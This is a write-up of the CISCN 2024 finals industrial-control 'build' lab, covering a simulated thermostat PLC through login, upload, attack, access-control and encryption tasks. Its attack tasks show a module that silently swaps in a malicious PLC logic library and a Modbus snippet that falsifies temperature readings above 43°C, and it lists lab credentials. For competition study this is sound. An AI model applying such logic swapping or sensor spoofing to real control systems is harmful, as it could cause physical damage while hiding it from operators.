CISCN2024决赛 build_wp
CISCN2024决赛 build_wp 新手任务 commit/task_1_1 1.模拟工程师登录流程 首先在/root/2024buildup/instance/monitor/center目录下找到user.list文件,里面有登录信息 然后根据里面的user信息编译,直接登录 用zhao直接登录,因为后面题目用户大部分都是zhao,所以就直接用zhao登录 然后可以看到成功登录 sh
CISCN2024决赛 build_wp
新手任务
commit/task_1_1
1.模拟工程师登录流程
首先在/root/2024buildup/instance/monitor/center目录下找到user.list文件,里面有登录信息

然后根据里面的user信息编译,直接登录
用zhao直接登录,因为后面题目用户大部分都是zhao,所以就直接用zhao登录

然后可以看到成功登录
sh users_login.sh

engineer_login.msg
{
"type":"GENERAL_RETURN",
"subtype":"STRING",
"mode":"INT"
}
{
"name":"login",
"return_value":"zhao:123"
}
2.模拟逻辑代码上传
填写正确的上传代码信息

logic_filename后面跟文件名
直接把 thermostat_logic.c 填上就行

上传成功
code_upload.msg

{
"type":"PLC_ENGINEER",
"subtype":"LOGIC_UPLOAD",
"mode":"INT"
}
{
"plc_devname":"thermostat",
"logic_filename":"thermostat_logic.c",
"type":"FILE_CODE",
"author":"zhao",
"uploader":""
}
3.模拟二进制逻辑上传
删除#号

然后上传二进制逻辑,就是上传.so链接库
所以直接写libthermostat_logic.so
然后写上上传的用户:zhao
然后类型就在附录里面找就可以

然后改一下sh脚本

直接上传

可以看到对应目录下有了这个文件

bin_upload.msg

{
"type":"PLC_ENGINEER",
"subtype":"LOGIC_UPLOAD",
"mode":"INT"
}
{
"plc_devname":"thermostat",
"logic_filename":"libthermostat_logic.so",
"type":"FILE_LOGIC",
"author":"zhao",
"uploader":"zhao"
}
4.模拟PLC逻辑启动
打开注释

运行sh脚本

看到了logic_send.log文件

在日志里面可以找到登录信息

直接补全用户名和口令就可以

{
"type":"GENERAL_RETURN",
"subtype":"STRING",
"mode":"INT"
}
{
"name":"login",
"return_value":"qian:456"
}
5.模拟操作员登录行为
打开注释

然后前面已经写了operator_login.msg,直接运行sh脚本就可以

登陆成功
6.模拟操作员的一组plc操作
打开注释

打开plc温度调节开关,看plc寄存器,电热丝可以控制温度

所以plc_start.msg是
{
"type":"PLC_OPERATOR",
"subtype":"PLC_CMD",
"mode":"INT"
}
{
"plc_devname":"thermostat",
"action":"ON",
"action_desc":"heating_S",
"value":0,
"plc_operator":"qian",
}
然后监控当前温度环境


所以plc_read_t.msg是
{
"type":"PLC_OPERATOR",
"subtype":"PLC_CMD",
"mode":"INT"
}
{
"plc_devname":"thermostat",
"action":"MONITOR",
"action_desc":"curr_T",
"plc_operator":"qian",
}
然后将plc恒温温度设置为39度(3900)


所以plc_set_t.msg为:
{
"type":"PLC_OPERATOR",
"subtype":"PLC_CMD",
"mode":"INT"
}
{
"plc_devname":"thermostat",
"action":"ADJUST",
"action_desc":"set_T",
"value":3900,
"plc_operator":"qian"
}
运行sh脚本,成功

commit/task_1_2
重放攻击
直接替换成 login_hacker

plugin_config.cfg.task_1_2
{
"name":"login_hacker",
"libname":"login_hacker"
}
然后编写 engineer_login_nopass.msg
/root/2024buildup/src/security/login_hacker下的login_hacker.c里面有密码

engineer_login_nopass.msg
{
"type":"GENERAL_RETURN",
"subtype":"STRING",
"mode":"INT"
}
{
"name":"login",
"return_value":"zhao:Tclab2024"
}

commit/task_1_3
挑战-应答机制
用户端登录处理模块login_user本身具备支持挑战-应答机制的能力,直接去login_user.c找对应的mode就行

plugin_config.cfg.task_1_3
{
"name":"msg_send",
"libname":"msgfile_send",
}
{
"name":"msg_print",
"libname":"msgrecord_print",
}
{
"name":"file_dealer",
"libname":"file_dealer"
}
{
"name":"login_user",
"libname":"login_user",
"init_para":{
"mode":2
}
}
{
"name":"logic_upload",
"libname":"logic_upload"
}
然后把aspect_policy.cfg里面的内容写到aspect_policy.cfg.task_1_3就可以了,这里稍微改一下type那里的缩进就可以
aspect_policy.cfg.task_1_3
{
"policy_head":
{
"name":"login",
"type":"ASPECT",
"sender":"login_user",
"ljump": 2,
"rjump":-2,
"newname":"challenge_login"
},
"MATCH_RULES":
[
{
"op":"AND","type":"USER_DEFINE","subtype":"LOGIN"
}
],
"ROUTE_RULES":
{
"main_policy":[
{"target_type":"CONN","target_name":"center_client"},
]
"response_policy":[
{"target_type":"LOCAL","target_name":"login_user"}
]
}
}
然后运行就可以了

攻击模拟任务
commit/task_2_1
越权访问
从user.list列表,找到个监控员
{
"user_name":"sun",
"role":"PLC_MONITOR",
"passwd":"123",
}
然后再用一个操作员去登陆
{
"user_name":"qian",
"role":"PLC_OPERATOR",
"passwd":"456",
}
然后填进去就可以,也可以根据提示和前面对应的操作来写用户
attack_login1.msg
{
"type":"GENERAL_RETURN",
"subtype":"STRING",
"mode":"INT"
}
{
"name":"login",
"return_value":"qian:456"
}
attack_cmd1.msg
{
"type":"PLC_ENGINEER",
"subtype":"LOGIC_UPLOAD",
"mode":"INT"
}
{
"plc_devname":"thermostat",
"logic_filename":"thermostat_logic.c",
"type":"FILE_CODE",
"author":"qian",
"uploader":""
}
attack_login2.msg
{
"type":"GENERAL_RETURN",
"subtype":"STRING",
"mode":"INT"
}
{
"name":"login",
"return_value":"sun:123"
}
attack_cmd2.msg
{
"type":"PLC_ENGINEER",
"subtype":"LOGIC_UPLOAD",
"mode":"INT"
}
{
"plc_devname":"thermostat",
"logic_filename":"thermostat_logic.c",
"type":"FILE_CODE",
"author":"sun",
"uploader":""
}
同理,可以填上操作员的
attack_login3.msg
{
"type":"GENERAL_RETURN",
"subtype":"STRING",
"mode":"INT"
}
{
"name":"login",
"return_value":"zhao:123"
}
attack_cmd3.msg
{
"type":"PLC_OPERATOR",
"subtype":"PLC_CMD",
"mode":"INT"
}
{
"plc_devname":"thermostat",
"action":"ADJUST",
"action_desc":"set_T",
"value":3900,
"plc_operator":"zhao"
}
attack_login4.msg
{
"type":"GENERAL_RETURN",
"subtype":"STRING",
"mode":"INT"
}
{
"name":"login",
"return_value":"sun:123"
}
attack_cmd4.msg
{
"type":"PLC_OPERATOR",
"subtype":"PLC_CMD",
"mode":"INT"
}
{
"plc_devname":"thermostat",
"action":"ADJUST",
"action_desc":"set_T",
"value":3900,
"plc_operator":"sun"
}
最后再写管理员的
attack_login5.msg
{
"type":"GENERAL_RETURN",
"subtype":"STRING",
"mode":"INT"
}
{
"name":"login",
"return_value":"zhao:123"
}
attack_cmd5.msg
{
"type":"PLC_OPERATOR",
"subtype":"PLC_CMD",
"mode":"INT"
}
{
"plc_devname":"thermostat",
"action":"ADJUST",
"action_desc":"set_T",
"value":3900,
"plc_operator":"zhao"
}
attack_login6.msg
{
"type":"GENERAL_RETURN",
"subtype":"STRING",
"mode":"INT"
}
{
"name":"login",
"return_value":"qian:456"
}
attack_cmd6.msg
{
"type":"PLC_OPERATOR",
"subtype":"PLC_CMD",
"mode":"INT"
}
{
"plc_devname":"thermostat",
"action":"ADJUST",
"action_desc":"set_T",
"value":3900,
"plc_operator":"qian"
}
最后运行task_2_1.sh既可

中间的回显省略了

commit/task_2_2
恶意逻辑
直接填充文件替换代码即可,把恶意逻辑文件copy到thermostat_logic目录下
system("cp -f /root/2024buildup/src/logic/hack_logic/libthermostat_logic.so"
" /root/2024buildup/src/logic/thermostat_logic");
sleep(2);
file_replace.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <limits.h>
#include <dirent.h>
#include <sys/time.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include "data_type.h"
#include "cube.h"
#include "cube_define.h"
#include "cube_record.h"
#include "plc_emu.h"
extern struct timeval time_val={0,50*1000};
int file_replace_init(void * sub_proc,void * para)
{
int ret;
// add youself's plugin init func here
return 0;
}
int file_replace_start(void * sub_proc,void * para)
{
int ret;
void * recv_msg;
int i;
int type;
int subtype;
while(1)
{
usleep(time_val.tv_usec);
ret=ex_module_recvmsg(sub_proc,&recv_msg);
if(ret<0)
continue;
if(recv_msg==NULL)
continue;
type=message_get_type(recv_msg);
subtype=message_get_subtype(recv_msg);
if(!memdb_find_recordtype(type,subtype))
{
printf("message format (%d %d) is not registered!\n",
message_get_type(recv_msg),message_get_subtype(recv_msg));
ex_module_sendmsg(sub_proc,recv_msg);
continue;
}
if((type==DTYPE_MESSAGE)&&(subtype==SUBTYPE_CTRL_MSG))
{
ret=proc_ctrl_message(sub_proc,recv_msg);
if(ret==MSG_CTRL_EXIT)
return MSG_CTRL_EXIT;
}
else if((type==TYPE(PLC_ENGINEER)&&(subtype==SUBTYPE(PLC_ENGINEER,LOGIC_UPLOAD))))
{
ret= bin_file_replace(sub_proc,recv_msg);
}
}
return 0;
};
int bin_file_replace(void * sub_proc,void * recv_msg)
{
int type;
int subtype;
int i;
int ret;
RECORD(PLC_ENGINEER,LOGIC_UPLOAD) * bin_upload;
ret=message_get_record(recv_msg,&bin_upload,0);
if(ret<0)
return ret;
// 在这里添加文件替换代码
system("cp -f /root/2024buildup/src/logic/hack_logic/libthermostat_logic.so"
" /root/2024buildup/src/logic/thermostat_logic");
sleep(2);
//文件替换代码结束
ex_module_sendmsg(sub_proc,recv_msg);
return ret;
}
int proc_ctrl_message(void * sub_proc,void * message)
{
int ret;
int i=0;
printf("begin proc echo \n");
struct ctrl_message * ctrl_msg;
ret=message_get_record(message,&ctrl_msg,i++);
if(ret<0)
return ret;
if(ctrl_msg!=NULL)
{
ret=ctrl_msg->ctrl;
}
ex_module_sendmsg(sub_proc,message);
return ret;
}
plugin_config.cfg里面只需要加上file_replace模块就可以了
plugin_config.cfg.task_2_2
{
"name":"msg_send",
"libname":"msgfile_send",
}
{
"name":"msg_print",
"libname":"msgrecord_print",
}
{
"name":"file_dealer",
"libname":"file_dealer"
}
{
"name":"login_user",
"libname":"login_user",
"init_para":{
"mode":1
}
}
{
"name":"logic_upload",
"libname":"logic_upload"
}
{
"name":"file_replace",
"libname":"file_replace"
}
然后提交的时候,没有提交aspect_policy.cfg.task_2_2就得了8分,可能是检测机制或者aspect_policy.cfg不需要替换
commit/task_2_3
modbus监听与篡改
就去读取相应的寄存器,然后读取温度,然后如果温度高于43度(4300)时,把温度更新,用4100加取模运算,使得温度一直显示在4300以下,最后再复制到相应位置即可,这样操作员和监视员看到的温度始终低于43度。
if(Buf[7] == 0x04) // read input register
{
UINT16 value;
value = Buf[10]*256+Buf[9];
if(value >4300)
{
value = 4100 + value%200;
Memcpy(Buf+9,&value,sizeof(value));
}
}
访问控制模拟任务
commit/task_3_1
角色验证

这里有角色验证的判断,所以我们只需要去用if语句去判断操作人是不是工程师、操作者和监控者就可以
所以先获得一下user,然后去判断就可以
role_verify.c里面添加上
db_record=memdb_find_first(TYPE_PAIR(USER_DEFINE,SERVER_STATE),"user_name",user_login->user_name);
if(db_record !=NULL)
{
user_state=db_record->record;
if(user_state->role == PLC_ENGINEER)
{
if(Strcmp(user_login->proc_name,"engineer_station")!=0)
illegal_user=1;
}
else if(user_state->role == PLC_OPERATOR)
{
if(Strcmp(user_login->proc_name,"operator_station")!=0)
illegal_user=1;
}
else if(user_state->role == PLC_MONITOR)
{
if(Strcmp(user_login->proc_name,"monitor_term")!=0)
illegal_user=1;
}
}
plugin_config.cfg.task_3_1里面直接添加模块即可
{
"name":"role_verify",
"libname":"role_verify"
}
{
"name":"msg_send",
"libname":"msgfile_send",
}
{
"name":"msg_print",
"libname":"msgrecord_print",
}
{
"name":"file_dealer",
"libname":"file_dealer",
}
{
"name":"login_server",
"libname":"login_server",
}
{
"name":"logic_store",
"libname":"logic_store",
}
{
"name":"recordlib",
"libname":"recordlib"
}
{
"name":"role_verify",
"libname":"role_verify"
}
aspect_policy.cfg.task_3_1里面只需要加上role_verify的路由信息即可
{
"policy_head":
{
"name":"login",
"type":"ASPECT",
"ljump":1,
"sender":"connector_proc",
"newname":"verify_role"
},
"MATCH_RULES":
[
{"op":"AND","type":"USER_DEFINE"},
],
"ROUTE_RULES":
{
"main_policy":[
{"target_type":"LOCAL","target_name":"role_verify"},
]
}
}

拦截成功
commit/task_3_2
角色权限限制
取消角色验证,直接就非null就继续往下走,然后如果不是engineer就是illegal_user,然后第二个加上如果cmd的行为是ACTION_ADJUST就不合法
所以在role_access.c加上
db_record=memdb_find_first(TYPE_PAIR(USER_DEFINE,SERVER_STATE),"user_name",code_upload->author);
if(db_record !=NULL)
{
user_state=db_record->record;
if(user_state->role != PLC_ENGINEER)
{
illegal_user=1;
}
}
db_record=memdb_find_first(TYPE_PAIR(USER_DEFINE,SERVER_STATE),"user_name",plc_cmd->plc_operator);
if(db_record !=NULL)
{
user_state=db_record->record;
if(user_state->role != PLC_MONITOR)
{
if(plc_cmd->action == ACTION_ADJUST)
illegal_user=1;
}
}
然后路由加上role_access模块即可
所以plugin_config.cfg.task_3_2直接加上
{
"name":"role_access",
"libname":"role_access"
}
然后aspect_policy.cfg.task_3_2添加上role_access机制,同时加到monitor_ctrl流程和code_upload流程中,所以就是下面更改的形式,与之前相同的就不在列举
{
"policy_head":
{
"name":"role_access",
"type":"QUERY",
"sender":"connector_proc",
},
"MATCH_RULES":
[
{
"op":"AND","type":"USER_DEFINE","subtype":"LOGIN"
}
],
"ROUTE_RULES":
{
"main_policy":[
{"target_type":"LOCAL","target_name":"login_server"}
]
}
}
{
"policy_head":
{
"name":"code_upload",
"type":"ASPECT",
"sender":"connector_proc",
"ljump": 1,
"rjump":-1,
"newname":"access_role"
},
"MATCH_RULES":
[
{
"op":"AND","type":"PLC_ENGINEER"
}
],
"ROUTE_RULES":
{
"main_policy":[
{"target_type":"LOCAL","target_name":"role_access"},
]
"response_policy":[
{"target_type":"LOCAL","target_name":"file_dealer"},
{"target_type":"LOCAL","target_name":"logic_store"}
]
}
}
{
"policy_head":
{
"name":"monitor_ctrl",
"type":"ASPECT",
"sender":"connector_proc",
"ljump": 1,
"rjump":-1,
"newname":"access_role"
},
"MATCH_RULES":
[
{
"op":"AND","area":"HEAD","type":"PLC_OPERATOR","subtype":"PLC_CMD"
}
],
"ROUTE_RULES":
{
"main_policy":[
{"target_type":"LOCAL","target_name":"role_access"},
]
"response_policy":[
{"target_type":"NAME","target_name":"operator_station"}
]
}
}
commit/task_3_3
自动逻辑屏蔽
发现异常并开始主动进行温度控制时,屏蔽自动逻辑的modbus命令,直接去匹配发送的信息,然后做出判断即可
operator_shield.c里面加上
char *sender = message_get_sender(recv_msg);
if (strcmp(sender, operator_sender) == 0) {
subtype = message_get_subtype(recv_msg);
if (subtype == SUBTYPE(MODBUS_CMD, WRITE_SINGLE_REGISTER) ||
subtype == SUBTYPE(MODBUS_CMD, WRITE_MULTIPLE_REGISTERS)) {
mode = 1;
}
} else if (strcmp(sender, plc_sender) == 0) {
illegal_cmd = mode ? 1 : 0;
}
同理,设置判断,隐蔽操作员modbus命令即可
monitor_shield.c里面加上
if (strcmp(monitor_route, msg_head->route) == 0) {
if (plc_cmd->action == ACTION_ADJUST) {
illegal_cmd = 0;
mode = 1;
}
} else if (strcmp(operator_route, msg_head->route) == 0) {
illegal_cmd = (mode == 1) ? 1 : (mode == 0) ? 0 : illegal_cmd;
}
然后就是配置路由信息了
plugin_config.cfg.task_3_3_1里面加上
{
"name":"operator_shield"
"libname":"operator_shield"
}
即可
{
"name":"modbus_slave",
"libname":"modbus_slave",
"init_para":{
"slave_name":"thermostat",
"unit_addr":1,
"client_key":"835c706f29581763d1f1437725f7b9e4cbb026e1704b0afe8efbf9f0df015e08"
}
}
{
"name":"modbus_channel",
"libname":"modbus_channel",
"init_para":{
"mode":"SERVER",
"tcp_addr":"127.0.0.1",
"tcp_port":1506,
"unit_addr":1,
}
}
{
"name":"device",
"libname":"thermostat_device",
"init_para":{
"default_target":"4200",
"environment_T":"2300",
}
}
{
"name":"logic",
"libname":"thermostat_logic",
}
{
"name":"operator_shield"
"libname":"operator_shield"
}
然后将operator_shield模块写入路由中
aspect_policy.cfg.task_3_3_1
{
"policy_head":
{
"name":"logic_send",
"type":"ASPECT",
"sender":"logic",
"ljump":1,
"newname":"operator_shield_logic_aspect"
},
"MATCH_RULES":
[
{
"op":"AND","type":"MODBUS_CMD"
}
],
"ROUTE_RULES":
{
"main_policy":[
{"target_type":"LOCAL","target_name":"operator_shield"},
]
}
}
{
"policy_head":
{
"name":"command_exec",
"type":"ASPECT",
"sender":"modbus_slave",
"ljump":2,
"newname":"operator_shield_exec_aspect"
},
"MATCH_RULES":
[
{
"op":"AND","type":"MODBUS_CMD"
}
],
"ROUTE_RULES":
{
"main_policy":[
{"target_type":"LOCAL","target_name":"operator_shield"},
]
}
}
同理:
plugin_config.cfg.task_3_3_2
加上
{
"name":"monitor_shield",
"libname":"monitor_shield"
}
aspect_policy.cfg.task_3_3_2
{
"policy_head":
{
"name":"operator_cmd",
"type":"ASPECT",
"ljump":1,
"sender":"connector_proc",
"newname":"operator_aspect"
},
"MATCH_RULES":
[
{"op":"AND","type":"PLC_OPERATOR"},
],
"ROUTE_RULES":
{
"main_policy":[
{"target_type":"LOCAL","target_name":"monitor_shield"}
]
}
}
{
"policy_head":
{
"name":"monitor_ctrl",
"type":"ASPECT",
"ljump":1,
"sender":"connector_proc",
"newname":"monitor_aspect"
},
"MATCH_RULES":
[
{"op":"AND","type":"PLC_OPERATOR"},
],
"ROUTE_RULES":
{
"main_policy":[
{"target_type":"LOCAL","target_name":"monitor_shield"}
]
}
}
密码保护模拟任务
commit/task_4_1
工程师签名上传
搜先设置好库


然后根据以上要求等设置条件,直接写c文件
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <limits.h>
#include <dirent.h>
#include <sys/time.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include "data_type.h"
#include "cube.h"
#include "cube_define.h"
#include "cube_record.h"
#include "file_struct.h"
#include "sm2.h"
#include "sm2sign.h"
int mode =0;
BYTE prikey[DIGEST_SIZE*2];
BYTE pubkey_XY[64];
unsigned long prilen=DIGEST_SIZE*2;
char * prikeyfile=NULL;
char * pubkeyfile=NULL;
BYTE Buf[DIGEST_SIZE*16];
int sm2sign_init(void * sub_proc,void * para)
{
int ret;
// add youself's plugin init func here
struct init_struct * init_para=para;
if(para==NULL)
return -EINVAL;
mode=init_para->mode;
if(mode==0)
{
ret=GM_GenSM2keypair(prikey,&prilen,pubkey_XY);
if(ret!=0)
return -EINVAL;
}
return 0;
}
int sm2sign_start(void * sub_proc,void * para)
{
int ret;
void * recv_msg;
int i;
int type;
int subtype;
while(1)
{
usleep(time_val.tv_usec);
ret=ex_module_recvmsg(sub_proc,&recv_msg);
if(ret<0)
continue;
if(recv_msg==NULL)
continue;
type=message_get_type(recv_msg);
subtype=message_get_subtype(recv_msg);
if(type==NULL)
{
message_free(recv_msg);
continue;
}
if(!memdb_find_recordtype(type,subtype))
{
print_cubeerr("message format (%d %d) is not registered!\n",
message_get_type(recv_msg),message_get_subtype(recv_msg));
ex_module_sendmsg(sub_proc,recv_msg);
continue;
}
if((type==TYPE(MESSAGE)) && (subtype==SUBTYPE(MESSAGE,BASE_MSG)))
{
if(mode==0)
proc_pubkey_send(sub_proc,recv_msg);
else if(mode==1)
proc_pubkey_recover(sub_proc,recv_msg);
}
else if((type==TYPE(FILE_TRANS)) && (subtype==SUBTYPE(FILE_TRANS,FILE_DATA)))
{
if(mode==1)
{
proc_sessionkey_gen(sub_proc,recv_msg);
}
else if(mode==0)
{
proc_sessionkey_recover(sub_proc,recv_msg);
}
}
}
return 0;
}
int proc_pubkey_send(void * sub_proc,void * message)
{
int i;
int ret=0;
RECORD(MESSAGE,BASE_MSG) * base_msg;
RECORD(GENERAL_RETURN,BINDATA) * pubkeydata;
ret=message_get_record(message,&base_msg,0);
if(ret<0)
return ret;
else if (base_msg==NULL)
return -EINVAL;
if(Strncmp(base_msg->message,"sendkey",DIGEST_SIZE)!=0)
return 0;
pubkeydata = Talloc0(sizeof(*pubkeydata));
if(pubkeydata==NULL)
return -ENOMEM;
pubkeydata->name=dup_str("pubkeydata",0);
pubkeydata->size=64;
pubkeydata->bindata=Talloc0(64);
Memcpy(pubkeydata->bindata,pubkey_XY,64);
message_add_expand_data(message,TYPE_PAIR(GENERAL_RETURN,BINDATA),pubkeydata);
ret=ex_module_sendmsg(sub_proc,message);
return ret;
}
int proc_pubkey_recover(void * sub_proc,void * message)
{
int ret=1;
int i;
RECORD(MESSAGE,BASE_MSG) * base_msg;
MSG_HEAD* msghead;
MSG_EXPAND * msg_expand;
RECORD(GENERAL_RETURN,BINDATA) * pubkeydata=NULL;
ret=message_get_record(message,&base_msg,0);
if(ret<0)
return ret;
else if (base_msg==NULL)
return -EINVAL;
if(Strncmp(base_msg->message,"sendkey",DIGEST_SIZE)!=0)
return 0;
pubkeydata = Talloc0(sizeof(*pubkeydata));
if(pubkeydata==NULL)
return -ENOMEM;
msghead= message_get_head(message);
if(msghead==NULL)
return -EINVAL;
for(i=0;i<msghead->expand_num;i++)
{
ret=message_get_expand(message,&msg_expand,i);
if(msg_expand==NULL)
return -EINVAL;
if((msg_expand->type==TYPE(GENERAL_RETURN)) &&
(msg_expand->subtype==SUBTYPE(GENERAL_RETURN,BINDATA)))
{
pubkeydata=msg_expand->expand;
if(pubkeydata==NULL)
continue;
if(Strcmp(pubkeydata->name,"pubkeydata"))
{
pubkeydata=NULL;
continue;
}
else
{
ret= message_remove_indexed_expand(message,i,&msg_expand);
pubkeydata=msg_expand->expand;
Memcpy(pubkey_XY,pubkeydata->bindata,pubkeydata->size);
break;
}
}
}
return ret;
}
int proc_sessionkey_gen(void * sub_proc,void * message)
{
int i;
int ret;
RECORD(GENERAL_RETURN,BINDATA) * keyblob;
RECORD(GENERAL_RETURN,UUID) * sessionkey;
keyblob = Talloc0(sizeof(*keyblob));
if(keyblob==NULL)
return -ENOMEM;
sessionkey = Talloc0(sizeof(*sessionkey));
if(keyblob==NULL)
return -ENOMEM;
ret=RAND_bytes(sessionkey->return_value,DIGEST_SIZE);
int Enclen=DIGEST_SIZE*16;
ret=GM_SM2Encrypt(Buf,&Enclen,sessionkey->return_value,DIGEST_SIZE,pubkey_XY,64);
if(ret!=0)
{
print_cubeerr("Sm2 Encrypt sessionkey failed!");
return -EINVAL;
}
keyblob->name=dup_str("sessionkeyblob",0);
keyblob->size=Enclen;
keyblob->bindata=Talloc0(Enclen);
Memcpy(keyblob->bindata,Buf,Enclen);
message_add_expand_data(message,TYPE_PAIR(GENERAL_RETURN,BINDATA),keyblob);
sessionkey->name=dup_str("sessionkey",0);
message_add_expand_data(message,TYPE_PAIR(GENERAL_RETURN,UUID),sessionkey);
ex_module_sendmsg(sub_proc,message);
return ret;
}
int proc_sessionkey_recover(void * sub_proc,void * message)
{
int i;
int ret;
MSG_HEAD* msghead;
MSG_EXPAND * msg_expand;
RECORD(GENERAL_RETURN,BINDATA) * keyblob=NULL;
RECORD(GENERAL_RETURN,UUID) * sessionkey=NULL;
msghead= message_get_head(message);
if(msghead==NULL)
return -EINVAL;
for(i=0;i<msghead->expand_num;i++)
{
ret=message_get_expand(message,&msg_expand,i);
if(msg_expand==NULL)
return -EINVAL;
if((msg_expand->type==TYPE(GENERAL_RETURN)) &&
(msg_expand->subtype==SUBTYPE(GENERAL_RETURN,BINDATA)))
{
keyblob=msg_expand->expand;
if(keyblob==NULL)
continue;
if(Strcmp(keyblob->name,"sessionkeyblob"))
{
keyblob=NULL;
continue;
}
else
{
// recover the sessionkey
sessionkey=Talloc0(sizeof(*sessionkey));
if(sessionkey==NULL)
return -ENOMEM;
ret= message_remove_indexed_expand(message,i,&msg_expand);
keyblob=msg_expand->expand;
int Enclen=DIGEST_SIZE*16;
ret=GM_SM2Decrypt(Buf,&Enclen,keyblob->bindata,keyblob->size,prikey,prilen);
if(ret!=0)
{
print_cubeerr("decrypt session key failed!\n");
return -EINVAL;
}
if(Enclen!=DIGEST_SIZE)
{
print_cubeerr("session key size error!\n");
return -EINVAL;
}
Memcpy(sessionkey->return_value,Buf,Enclen);
sessionkey->name=dup_str("sessionkey",0);
message_add_expand_data(message,TYPE_PAIR(GENERAL_RETURN,UUID),sessionkey);
break;
}
}
}
ex_module_sendmsg(sub_proc,message);
return ret;
}
plugin_config.cfg.task_4_1里面加上
{
"name":"sm2sign",
"libname":"sm2sign"
}
即可
{
"name":"msg_send",
"libname":"msgfile_send",
}
{
"name":"msg_print",
"libname":"msgrecord_print",
}
{
"name":"file_dealer",
"libname":"file_dealer",
}
{
"name":"logic_store",
"libname":"logic_store"
}
{
"name":"plc_upload",
"libname":"plc_upload"
}
{
"name":"sm2sign",
"libname":"sm2sign"
}
然后aspect_policy.cfg.task_4_1_1写个二进制文件上传的就可以
{
"policy_head":
{
"name":"bin_upload",
"type":"DUP",
"ljump":4,
"sender":"plc_upload",
"newname":"verify_bin_upload"
},
"MATCH_RULES":
[
{"op":"AND","type":"PLC_ENGINEER"},
],
"ROUTE_RULES":
{
"main_policy":[
{"target_type":"NAME","target_name":"verify_proxy"}
]
}
}
这个题目检测应该是有bug,直接传这三个文件既就可以得到满分了
commit/task_4_2
modbus数据加密
operator/station端加密位置建议在modbus_channel与modbus_master端之间,
plc/device端加密位置建议在modbus_channel和modbus_slave端之间
slave.list中的slave_key与key.list中的return_value是一样的
基于这一秘密,使用算法进行加密
所以只要选好加密位置,使用函数进行加密解密,再进行memcpy即可
加密算法
print_cubeerr("crypt:%x\n",key[0]);
zuc_generate_keystream(&zuc_state,segment_size/4,key_buf);
gmssl_memxor(zuc_buf,modbus_datagram->data,key_buf,
modbus_datagram->datasize);
Memcpy(modbus_datagram->data,zuc_buf,modbus_datagram->datasize);
解密算法
print_cubeerr("decrypt:%x\n", key[0]);
zuc_generate_keystream(&zuc_state, segment_size / 4, key_buf);
gmssl_memxor(
zuc_buf,
modbus_datagram->data,
key_buf,
modbus_datagram->datasize
);
memcpy(
modbus_datagram->data,
zuc_buf,
modbus_datagram->datasize
);
所以modbus_zuc_crypt.c文件补充上这个就行
然后解密的模块加上
{
"name":"modbus_zuc_crypt",
"libname":"modbus_zuc_crypt",
"init_para":{
"mode":1,
}
}
所以plugin_config.cfg.task_4_2_1为:
{
"name":"modbus_channel",
"libname":"modbus_channel",
"init_para":{
"mode":"CLIENT",
"tcp_addr":"127.0.0.1",
"tcp_port":1504,
"unit_addr":1
}
}
{
"name":"modbus_master",
"libname":"modbus_master",
"init_para":{
"master_name":"operator",
}
}
{
"name":"msg_send",
"libname":"msgfile_send",
}
{
"name":"msg_print",
"libname":"msgrecord_print",
}
{
"name":"login_user",
"libname":"login_user",
"init_para":
{
"mode":1
}
}
{
"name":"cmd_process",
"libname":"cmd_process"
}
{
"name":"audit_store",
"libname":"audit_store"
}
{
"name":"audit_query",
"libname":"audit_query"
}
{
"name":"operator_probe",
"libname":"operator_probe"
}
{
"name":"modbus_zuc_crypt",
"libname":"modbus_zuc_crypt",
"init_para":{
"mode":1,
}
}
然后写上路由即可
aspect_policy.cfg.task_4_2_1
{
"policy_head":
{
"name":"command_response",
"type":"ASPECT",
"ljump":1,
"sender":"modbus_channel",
"newname":"decrypt_zuc_crypt"
},
"MATCH_RULES":
[
{"op":"AND","type":"MODBUS_TCP"},
],
"ROUTE_RULES":
{
"main_policy":[
{"target_type":"LOCAL","target_name":"modbus_zuc_crypt"}
]
}
}
同理:
plugin_config.cfg.task_4_2_2
补充上:
{
"name":"modbus_zuc_crypt",
"libname":"modbus_zuc_crypt",
"init_para":{
"mode":0,
}
}
然后整理为
{
"name":"modbus_slave",
"libname":"modbus_slave",
"init_para":{
"slave_name":"thermostat",
"unit_addr":1,
"client_key":"835c706f29581763d1f1437725f7b9e4cbb026e1704b0afe8efbf9f0df015e08"
}
}
{
"name":"modbus_channel",
"libname":"modbus_channel",
"init_para":{
"mode":"SERVER",
"tcp_addr":"127.0.0.1",
"tcp_port":1506,
"unit_addr":1,
}
}
{
"name":"device",
"libname":"thermostat_device",
"init_para":{
"default_target":"4200",
"environment_T":"2300",
}
}
{
"name":"logic",
"libname":"thermostat_logic",
}
{
"name":"modbus_acl",
"libname":"modbus_acl",
}
{
"name":"modbus_zuc_crypt",
"libname":"modbus_zuc_crypt",
"init_para":{
"mode":0,
}
}
同理aspect_policy.cfg.task_4_2_2
{
"policy_head":
{
"name":"command_exec",
"type":"ASPECT",
"ljump":4,
"sender":"modbus_slave",
"newname":"encrypt_zuc_crypt"
},
"MATCH_RULES":
[
{"op":"AND","type":"MODBUS_TCP"},
],
"ROUTE_RULES":
{
"main_policy":[
{"target_type":"LOCAL","target_name":"modbus_zuc_crypt"},
]
}
}
总结
build虽然只占决赛总分的10%,但是这10分还是很重要的,因为其他部分可能拉不开很大的差距。
最后再说一句就是,git回滚是真的好用,没有他,今年的build估计要寄了。